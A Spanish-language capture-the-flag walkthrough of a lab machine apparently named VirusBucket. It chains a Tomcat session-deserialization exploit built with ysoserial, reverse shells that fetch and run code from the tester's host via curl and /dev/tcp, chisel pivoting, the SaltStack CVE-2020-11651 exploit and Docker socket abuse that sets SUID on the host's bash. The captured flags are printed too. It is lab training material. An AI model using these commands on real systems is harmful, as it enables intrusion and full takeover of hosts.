Conocimientos
-
Information Disclosure
-
Apache Tomcat Deserialización
-
Pivoting
-
Abuso de SaltStack
-
Abuso de unix socket docker file junto a la API (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn 10.10.10.205 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 16:47 GMT
Nmap scan report for 10.10.10.205
Host is up (0.064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 14.10 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,8080 10.10.10.205 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 16:48 GMT
Nmap scan report for 10.10.10.205
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open http Apache Tomcat 9.0.27
|_http-title: VirusBucket
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.05 seconds
Puerto 8080 (HTTP-PROXY)
Con whatweb
analizo las tecnologías que está empleando el servidor web
whatweb http://10.10.10.205:8080
http://10.10.10.205:8080 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.10.205], Title[VirusBucket]
La página principal se ve así:
En /service
, hay una sección que permite subir archivos
Lo intercepto con BurpSuite
Por detrás está desplegado un Tomcat. Aplico fuzzing para descubrir rutas
gobuster dir -u http://10.10.10.205:8080/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.205:8080/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/03/13 16:51:21 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 302) [Size: 0] [--> /images/]
/service (Status: 302) [Size: 0] [--> /service/]
Creo un archivo JSP que se encargue de enviar una reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.9 LPORT=443 -f jsp -o test.jsp
Pero no me deja subirlo. Se leakea una ruta en el error
Al no poner nada en el nombre aparece otra ruta
La versión de Tomcat que se está empleando tiene asociado un CVE. En este artículo está detallado en que consiste. Para poder usar ysoserial
, tengo que forzar que la versión de java que se emplee sea java11
update-alternatives --config java
java -jar ysoserial-master.jar CommonsCollections2 'ping -c 1 10.10.16.9' > pwned.session
Subo el pwned.session
y luego lo llamo a través de la cookie sin la extensión. Al tramitar una petición para que se deserialice la data, recibo la traza ICMP a mi equipo
curl -s -X GET 'http://10.10.10.205:8080' -H "Cookie: JSESSIONID=../../../../../../opt/samples/uploads/pwned"
tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:13:22.743106 IP 10.10.10.205 > 10.10.16.9: ICMP echo request, id 1, seq 1, length 64
18:13:22.743173 IP 10.10.16.9 > 10.10.10.205: ICMP echo reply, id 1, seq 1, length 64
Para ganar acceso al sistema, creo un archivo index.html
que se encargue de enviarme una reverse shell, el cual hosteo con python
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'
Primero creo uno que lo almacena en una ruta del sistema
java -jar ysoserial-master.jar CommonsCollections2 'curl 10.10.16.9 -o /dev/shm/shell' > shell1.session
Y otro para que lo ejecute
java -jar ysoserial-master.jar CommonsCollections2 'bash /dev/shm/shell' > shell2.session
Gano acceso al sistema
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.205] 33052
bash: cannot set terminal process group (1041): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@VirusBucket:/opt/tomcat$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tomcat@VirusBucket:/opt/tomcat$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
tomcat@VirusBucket:/opt/tomcat$ export TERM=xterm
tomcat@VirusBucket:/opt/tomcat$ export SHELL=bash
tomcat@VirusBucket:/opt/tomcat$ stty rows 55 columns 209
Estoy dentro de la máquina víctima
tomcat@VirusBucket:/opt/tomcat$ whoami
tomcat
tomcat@VirusBucket:/opt/tomcat$ hostname -I
10.10.10.205 172.18.0.1 172.17.0.1 dead:beef::250:56ff:feb9:6881
Puedo ver la primera flag
tomcat@VirusBucket:~$ cat user.txt
1766a655f449e1c4c916fe0c7f683a4e
Escalada
No puedo listar procesos de otros usuarios porque el hidepid
está habilitado
tomcat@VirusBucket:/$ mount | grep proc
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,hidepid=2)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=15951)
Listo los puertos abiertos internamente
tomcat@VirusBucket:/$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.1:44901 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:4505 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:4506 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 1 [::ffff:127.0.0.1]:8005 *:* users:(("java",pid=1072,fd=56))
LISTEN 0 100 *:8080 *:* users:(("java",pid=1072,fd=45))
LISTEN 0 128 [::]:22 [::]:*
Subo el chisel
para poder tener conectividad con estos
En mi equipo creo el servidor
chisel server -p 1234 --reverse
2023/03/13 18:43:29 server: Reverse tunnelling enabled
2023/03/13 18:43:29 server: Fingerprint 2yhsgAw0I2dTnVkt2gZ6uTVfDOyEI12JAS3J9hQfB74=
2023/03/13 18:43:29 server: Listening on http://0.0.0.0:1234
2023/03/13 18:43:40 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Desde la máquina víctima me conecto
tomcat@VirusBucket:/tmp$ ./chisel client 10.10.16.9:1234 R:socks &>/dev/null & disown
El servicio que corre para los puertos 4505 y 4506 puede que sea vulnerable si coincide la versión del exploit
searchsploit saltstack
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Saltstack 3000.1 - Remote Code Execution | multiple/remote/48421.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Me traigo el exploit y lo ejecuto
proxychains python3 exploit.py --master 127.0.0.1 --exec 'curl 10.10.16.9 | bash'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
/usr/local/lib/python3.11/dist-packages/salt-3006.0rc1+39.g98b151afc5-py3.11.egg/salt/transport/client.py:29: DeprecationWarning: This module is deprecated. Please use salt.channel.client instead.
warn_until(
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: etV+RAjLTqVPDAvLG+++LZFuw91uemWwbZAtKybETXGaMaQsS+BjqVGLePRcF2OvLFx4ktxEvhU=
[+] Attemping to execute curl 10.10.16.9 | bash on 127.0.0.1
[+] Successfully scheduled job: 20230313210001395873
Recibo la reverse shell
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.205] 51180
bash: cannot set terminal process group (7051): Inappropriate ioctl for device
bash: no job control in this shell
root@2d24bf61767c:~# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@2d24bf61767c:~# ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
root@2d24bf61767c:~# export TERM=xterm
root@2d24bf61767c:~# export SHELL=bash
root@2d24bf61767c:~# stty rows 55 columns 209
Estoy dentro de otro contenedor
root@2d24bf61767c:~# hostname -I
172.17.0.2
Hay un archivo todo.txt
root@2d24bf61767c:~# cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.
Puedo leer el histórico de la bash
root@2d24bf61767c:~# cat .bash_history
paswd
passwd
passwd
passswd
passwd
passwd
cd /root
ls
ls -la
rm .wget-hsts
cd .ssh/
ls
cd ..
printf '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
exit
En el penúltimo comando se está montando un socket file. Este archivo es SUID y el propietario es root
. Está activo, por lo que me puedo conectar
root@2d24bf61767c:~# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
[
{
"Containers": -1,
"Created": 1590787186,
"Id": "sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e",
"Labels": null,
"ParentId": "",
"RepoDigests": null,
"RepoTags": [
"sandbox:latest"
],
"SharedSize": -1,
"Size": 5574537,
"VirtualSize": 5574537
},
{
"Containers": -1,
"Created": 1588544489,
"Id": "sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9",
"Labels": null,
"ParentId": "",
"RepoDigests": [
"<none>@<none>"
],
"RepoTags": [
"<none>:<none>"
],
"SharedSize": -1,
"Size": 1056679100,
"VirtualSize": 1056679100
}
]
Existe una imagen llamada sandbox:latest
. Listo los contenedores
root@2d24bf61767c:~# curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
[
{
"Id": "2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2",
"Names": [
"/saltstack"
],
"Image": "188a2704d8b0",
"ImageID": "sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9",
"Command": "/usr/bin/dumb-init /usr/local/bin/saltinit",
"Created": 1593520419,
"Ports": [
{
"IP": "127.0.0.1",
"PrivatePort": 4505,
"PublicPort": 4505,
"Type": "tcp"
},
{
"IP": "127.0.0.1",
"PrivatePort": 4506,
"PublicPort": 4506,
"Type": "tcp"
},
{
"IP": "127.0.0.1",
"PrivatePort": 8000,
"PublicPort": 8000,
"Type": "tcp"
},
{
"PrivatePort": 22,
"Type": "tcp"
}
],
"Labels": {},
"State": "running",
"Status": "Up 5 hours",
"HostConfig": {
"NetworkMode": "default"
},
"NetworkSettings": {
"Networks": {
"bridge": {
"IPAMConfig": null,
"Links": null,
"Aliases": null,
"NetworkID": "3ba45889f36747d2b8ebcc37953ccafd8786cdeb5c72c2fe9d7d55f47d8e86ee",
"EndpointID": "58976c711fdf5a2cd16fd094199d6d13114f87b97aee4a74f4a91154cf80f693",
"Gateway": "172.17.0.1",
"IPAddress": "172.17.0.2",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"MacAddress": "02:42:ac:11:00:02",
"DriverOpts": null
}
}
},
"Mounts": [
{
"Type": "bind",
"Source": "/var/run/docker.sock",
"Destination": "/var/run/docker.sock",
"Mode": "",
"RW": true,
"Propagation": "rprivate"
}
]
}
]
Como estoy como root
, puedo modificar este unix docker socket file abusando de la API. Más información en HackTricks
Creo un contenedor, aprovechandome de la imagen que ya existe y creando una montura que traiga toda la raíz de la máquina host
root@2d24bf61767c:~# curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"sandbox:latest","HostConfig":{"Binds":["/:/pwned"]},"Cmd":["/bin/sh", "-c", "chmod u+s /pwned/bin/bash"],"Tty": true}' http://localhost/containers/create
{"Id":"8bddef351232e5f3fdb008e3092dc658c07e62700abef25424f73e219935a7fe","Warnings":[]}
Y lo inicio
root@2d24bf61767c:~# curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8bddef351232e5f3fdb008e3092dc658c07e62700abef25424f73e219935a7fe/start
La bash pasa a ser SUID en la máquina host
tomcat@VirusBucket:/dev/shm$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Feb 25 2020 /bin/bash
Puedo ver la segunda flag
tomcat@VirusBucket:/dev/shm$ bash -p
bash-5.0# cat /root/root.txt
3713eaf0cd0b8ca5c08de12e5c672f3a